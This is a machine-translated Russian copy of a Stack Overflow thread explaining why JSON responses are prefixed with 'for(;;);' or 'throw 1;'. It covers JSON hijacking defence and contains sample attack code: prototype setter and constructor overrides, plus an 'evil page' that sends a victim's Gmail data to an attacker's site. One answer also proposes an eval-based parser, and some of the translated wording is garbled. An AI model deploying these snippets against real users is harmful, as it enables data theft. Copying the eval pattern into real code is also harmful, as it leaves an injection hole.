Подтвердить что ты не робот

Почему люди ставят код типа "бросать 1, <не зло>" и "for (;;)"; перед ответами json?

Возможный дубликат:
Почему Google добавляет while (1); к их ответам JSON?

Google возвращает json следующим образом:

throw 1; <dont be evil> { foo: bar}

и Facebooks ajax имеет json вот так:

for(;;); {"error":0,"errorSummary": ""}
  • Почему они помещают код, который останавливается выполнение и делает недействительным json?
  • Как они анализируют его, если он недействителен и сбой, если вы попытаетесь оценить это?
  • Они просто удаляют его из строка (кажется, дорогая)?
  • Есть ли преимущества безопасности для это?

В ответ на это для целей безопасности:

Если скребок находится в другом домене, им нужно будет использовать тег script для получения данных, потому что XHR не будет работать в кросс-домене. Даже без for(;;);, как бы злоумышленник получил данные? Он не присваивается переменной, поэтому не собирался ли он собирать мусор, потому что нет ссылок на него?

В основном, чтобы получить перекрестный домен данных, они должны были бы сделать

<script src="http://target.com/json.js"></script>

Но даже без аварийного отказа script злоумышленник не может использовать данные Json без привязки к переменной, доступ к которой вы можете получить глобально (это не в этих случаях). Код сбоя effectivly ничего не делает, потому что даже без него они должны использовать серверные скрипты для использования данных на своем сайте.

4b9b3361

Ответ 1

Даже без for(;;);, как бы злоумышленник получил данные?

Атаки основаны на изменении поведения встроенных типов, в частности Object и Array, путем изменения их конструкторской функции или ее prototype. Затем, когда целевой JSON использует конструкцию {...} или [...], они будут собственными версиями этих объектов злоумышленниками с потенциально неожиданным поведением.

Например, вы можете взломать свойство setter в Object, которое предает значения, записанные в объектных литералах:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

Затем, когда a <script> указал на какой-то JSON, который использовал это имя свойства:

{"x": "hello"}

значение "hello" будет пропущено.

То, как массивные и объектные литералы вызывают создание сеттеров, является спорным. Firefox удалил поведение в версии 3.5 в ответ на публичные атаки на громких веб-сайтах. Однако на момент написания Safari (4) и Chrome (5) все еще уязвимы для этого.

Другая атака, которую теперь запретили все браузеры, заключалась в переопределении конструкторских функций:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

И на данный момент реализация свойств IE8 (основанная на стандарте ECMAScript Fifth Edition и Object.defineProperty) в настоящее время не работает на Object.prototype или Array.prototype.

Но так же, как и защита прошлых браузеров, возможно, что расширения для JavaScript вызывают больше потенциальных утечек подобного рода в будущем, и в этом случае мякина должна также защищаться от них.

Ответ 2

Учтите, что после проверки вашей учетной записи GMail вы посетите мою злую страницу:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

Что произойдет сейчас, так это то, что код Javascript, который поступает от Google, который, по мнению искателя, был бы доброкачественным и сразу выпадет из сферы действия, будет фактически отправлен на мой злой сайт. Предположим, что URL-адрес, запрошенный в теге script, отправляется (потому что ваш браузер представит правильный файл cookie, Google правильно подумает, что вы вошли в ваш почтовый ящик):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

Теперь я отправлю сериализованную версию этого объекта на свой злой сервер. Спасибо!

Способом предотвращения этого является крушение ваших ответов JSON и деградация их, когда вы из одного домена можете манипулировать этими данными. Если вам нравится этот ответ, пожалуйста, примите сообщение, отправленное bobince.

Ответ 3

EDIT

Эти строки обычно называются "непревзойденными крутыми", и они используются для исправления уязвимости утечки информации, которая влияет на спецификацию JSON. Эта атака является реальным миром и уязвимость в gmail была обнаружена Джеремией Гроссманом. Mozilla также считает, что это уязвимость в спецификации JSON, и она была исправлена ​​в Firefox 3. Однако, поскольку эта проблема по-прежнему влияет на другие браузеры, этот "непревзойденный рывок" необходим, потому что это совместимый патч.

Ответ Bobice содержит техническое объяснение этой атаки, и это правильно.

Ответ 4

Как они анализируют его, если он недействителен и сбой, если вы попытаетесь оценить это?

Это функция, с которой он столкнется, если вы попытаетесь eval его. eval позволяет использовать нестандартный код JavaScript, который может быть использован для атаки на межсайтовый скриптинг.

Они просто удаляют его из строки (кажется, дорого)?

Я так думаю. Возможно, что-то вроде:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

"Не зло" не позволяет разработчикам использовать eval напрямую, а не более безопасную альтернативу.